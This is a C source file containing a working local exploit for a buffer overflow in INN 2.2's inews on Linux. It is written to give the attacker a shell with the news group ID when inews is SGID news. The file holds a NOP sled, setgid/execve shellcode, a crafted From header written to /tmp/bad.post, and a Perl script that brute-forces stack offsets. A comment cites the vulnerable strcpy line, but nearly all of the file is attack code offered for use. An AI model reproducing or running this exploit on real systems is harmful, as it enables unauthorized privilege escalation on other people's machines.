/* (linux)inews[inn-2.2] buffer overflow, by Vade79->v9[v9@fakehalo.org].
   this will give you a gid=news shell if /usr/bin/inews is SGID(news).  i know
   /usr/bin/inews comes default with versions of redhat, but i don't know about
   other distributions.

   cause (line601:inews.c): "(void)strcpy(from, HDR(_from));", use strncpy();

   note: i found this while looking for a security hole in another program that
         comes with inn, but it needs gid=news to run anyways.  so this is a
         bonus.  also, you may want to clean up the defined TMPFILE afterwords.
         after making this, i found another exploit of the same idea, this is
         much more functional though.

   the old perl script below for offset(s):

   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "offset: $i.\n";
    system("./inews_bof $i");
    $i+=100;
   } */

#include <stdio.h>   
#define NEWSGID 13    // the group id of news.
#define ALIGN 0      // return alignment.
#define PATH "/usr/bin/inews"  // path to the inews program.
#define TMPFILE "/tmp/bad.post"  // file to overflow inews buffer with.
#define SUBJECT "inews bug."  // required file filler.
#define NEWSGROUP "alt.inn.bug"  // required file filler.
#define DEFAULT_OFFSET 650  // usual offset.

static char exec[]=
 "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
 "\x00"        // yeah, group id of news here.
 "\xcd\x80\x89\x76\x08\x31\xc0\x88\x46\x07"
 "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
 "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"
 "\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69"
 "\x6e\x2f\x73\x68\x01";   // hex01 h00t!

long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char bof[600];      // give or take a few. (528)
 int i,offset,gid=NEWSGID;
 long ret;  
 FILE *inewsfile;
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(esp()-offset);
 for(i=ALIGN;i<600;i+=4){*(long *)&bof[i]=ret;}
 exec[10]=gid;
 for(i=0;i<(600-strlen(exec)-100);i++){*(bof+i)=0x90;}
 memcpy(bof+i,exec,strlen(exec));
 unlink(TMPFILE);     // clean house.
 inewsfile=fopen(TMPFILE,"w");
 fprintf(inewsfile,"From: %s\n",bof);      // required, woops.
 fprintf(inewsfile,"Newsgroups: %s\n",NEWSGROUP);  // required.
 fprintf(inewsfile,"Subject: %s\n\n",SUBJECT);    // required.
 fclose(inewsfile);
 printf("[ return address: 0x%lx, offset: %d, actual size: %d(sc=%d). ]\n",ret,offset,strlen(bof),strlen(exec));
 if(execlp(PATH,"inews","-h",TMPFILE,0)){
  printf("%s: failed, is %s the correct path?\n",argv[0],PATH);
  exit(-1);
 }
}